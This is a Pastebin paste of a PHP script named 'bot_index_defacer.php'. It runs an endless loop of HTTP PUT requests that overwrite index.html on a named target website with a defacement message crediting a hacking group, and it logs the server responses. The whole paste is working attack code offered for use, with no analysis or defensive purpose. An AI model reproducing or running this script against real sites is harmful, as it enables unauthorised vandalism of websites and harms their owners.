tobitaz

bot_index_defacer.php

Jun 20th, 2021
744
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. ignore_user_abort(1);
  3. ini_set('max_execution_time', '0');
  4. set_time_limit(0);
  5.  
  6. $url1     = "http://my-resume.biz/";
  7.  
  8. $isi      = 'hey hejes ,<a href="https://m.facebook.com/DuniaSiberPhc/">PHC</a> here :) ...';
  9. $filename = "index.html";
  10.  
  11.  
  12.  
  13.  
  14. $taz       = fopen("sementara.phi", "w+");
  15.              fwrite($taz, $isi);
  16.              fclose($taz);
  17. $filepath  = "sementara.phi";
  18. $filesize  = filesize($filepath);
  19.  
  20.  
  21. $fh        = fopen($filepath, 'r');
  22. //tuk curl hejes
  23.  
  24. function phc($url)
  25. {
  26. global $filename;
  27. global $isi;
  28. global $filepath;
  29. global $fh;
  30. global $filesize;
  31. global $taz;
  32.  
  33.  
  34. $ch = curl_init($url ."/". $filename);
  35. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
  36. curl_setopt($ch, CURLOPT_PUT, true);
  37. curl_setopt($ch, CURLOPT_INFILE, $fh);
  38. curl_setopt($ch, CURLOPT_INFILESIZE, $filesize);
  39. curl_setopt($ch, CURLOPT_TIMEOUT, 30);
  40. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  41. $cek = curl_exec($ch);
  42. $err = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  43.        curl_close($ch);
  44. return $err;
  45.  
  46.  
  47. }
  48.  
  49.  
  50.  while(1)
  51.  {
  52.  
  53.  
  54.  $exp = explode(",", $url1);
  55.  foreach($exp as $usp)
  56.  {
  57.  $ta = phc($usp);
  58.  
  59.  
  60.  $file = fopen("hejes.txt","a+");
  61.          fwrite($file, $ta.PHP_EOL);
  62.          fclose($file);
  63.  
  64.  
  65.  }
  66.  }
  67.  
  68.  
  69.  
  70.  
  71.  
  72. fclose($fh);  
  73. unlink("sementara.phi");  
  74.  
  75.  
  76. ?>
RAW Paste Data